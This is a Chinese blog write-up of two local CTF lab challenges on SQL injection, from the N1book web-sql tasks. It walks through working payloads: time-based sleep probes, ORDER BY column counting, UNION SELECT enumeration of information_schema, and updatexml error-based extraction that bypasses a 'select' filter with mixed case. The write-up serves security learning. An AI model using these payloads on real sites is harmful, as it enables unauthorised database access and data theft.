从0到1CTFer成长之路-第一章-CTF中的SQL注入


CTF中的SQL注入

声明

好好向大佬们学习!!!

攻击

https://book.nu1l.com/tasks/#/pages/web/1.2

SQL注入-1

kali执行

vim docker-compose.yml

内容如下

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest
    ports:
      - 80:80

开启docker

docker-compose up -d

访问80

http://192.168.137.144/

自动跳转到

http://192.168.137.144/index.php?id=1

显然就是id了,直接开始搞

输入sleep,页面反应3s了

http://192.168.137.144/index.php?id=1' and sleep(3)  --+

在这里插入图片描述

order by后面依次跟1,2,3,4…当到4时页面查询失败,说明有3列

http://192.168.137.144/index.php?id=1' order by 3  --+
http://192.168.137.144/index.php?id=1' order by 4  --+

在这里插入图片描述

在这里插入图片描述

这里id=1要变成-1了,因为1的时候,只把查到的第一条显示出来,然后就可以操控select后面的2和3了

http://192.168.137.144/index.php?id=-1' union select 1, 2, 3 --+

在这里插入图片描述

已经知道有3列了,就查数据库,而且还是root用户哦

http://192.168.137.144/index.php?id=-1' union select 1, database(), user()--+

在这里插入图片描述

使用下面的语句可以查到表名,但是只能查第一个表名

http://192.168.137.144/index.php?id=-1' union select 1, table_name, 3 from information_schema.tables where table_schema = 'note' --+

想要把所有的表名都查出来,就得用group_concat,就是把所有的都连接起来,比如group_concat(table_name),就把所有的表明连起来,查到了两张表,flag和notes

http://192.168.137.144/index.php?id=-1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = 'note' --+

在这里插入图片描述

查列名,查出列fllllag

http://192.168.137.144/index.php?id=-1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name = 'fl4g' --+

在这里插入图片描述

查值,表名就不用那么写了

http://192.168.137.144/index.php?id=-1' union select 1, 2, group_concat(fllllag) from fl4g --+

拿到flag

n1book{union_select_is_so_cool}

在这里插入图片描述

SQL注入-2

kali执行

vim docker-compose.yml

内容如下

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-2:latest
    ports:
      - 80:80

开启docker

docker-compose up -d

访问80

http://192.168.137.144/

题目上让访问login.php和user.php,访问user.php说是login first,那先试试login.php吧

http://192.168.137.144/user.php
http://192.168.137.144/login.php

在这里插入图片描述

修改用户名为admin’ or sleep(3) #,使用bp抓包发现时间延迟

在这里插入图片描述

试了半天,也没登录进去,对了这个题是让拿到flag,不是让黑进去拿web权限的,但是也没啥思路,我屈服了,加上tips请求帮助了

随便试了一下, select被过滤了,那么很有可能就是需要双写或大小写select进行绕过(别问我怎么知道,书上原话吗这不是)

在这里插入图片描述

访问,查出两张表fl4g、users

http://192.168.137.144/login.php?tips=1

name=admin' and updatexml(1, concat(0x7e, (SeLeCt group_concat(table_name) from information_schema.tables where table_schema = database())), 3) %23&pass=123

在这里插入图片描述

查列flag

http://192.168.137.144/login.php?tips=1

name=admin' and updatexml(1, concat(0x7e, (SeLeCt group_concat(column_name) from information_schema.columns where table_name='fl4g')), 3) %23&pass=123

在这里插入图片描述

查值,到了这一步就可以直接from 表名了

http://192.168.137.144/login.php?tips=1

name=admin' and updatexml(1, concat(0x7e, (SeLeCt flag from fl4g)), 3) %23&pass=123

拿到flag

n1book{login_sqli_is_nice}

在这里插入图片描述

前置环境

kali+docker

摘自

https://cloud.tencent.com/developer/article/1589933
apt-get update
apt-get upgrade
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -\n
echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list\n
apt-get update
apt-get remove docker docker-engine docker.io
apt-get install docker-ce
sudo systemctl status docker
sudo systemctl start docker
sudo systemctl enable docker

docker version

kali+docker-compose

apt-get install docker-compose

docker-compose -version
  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值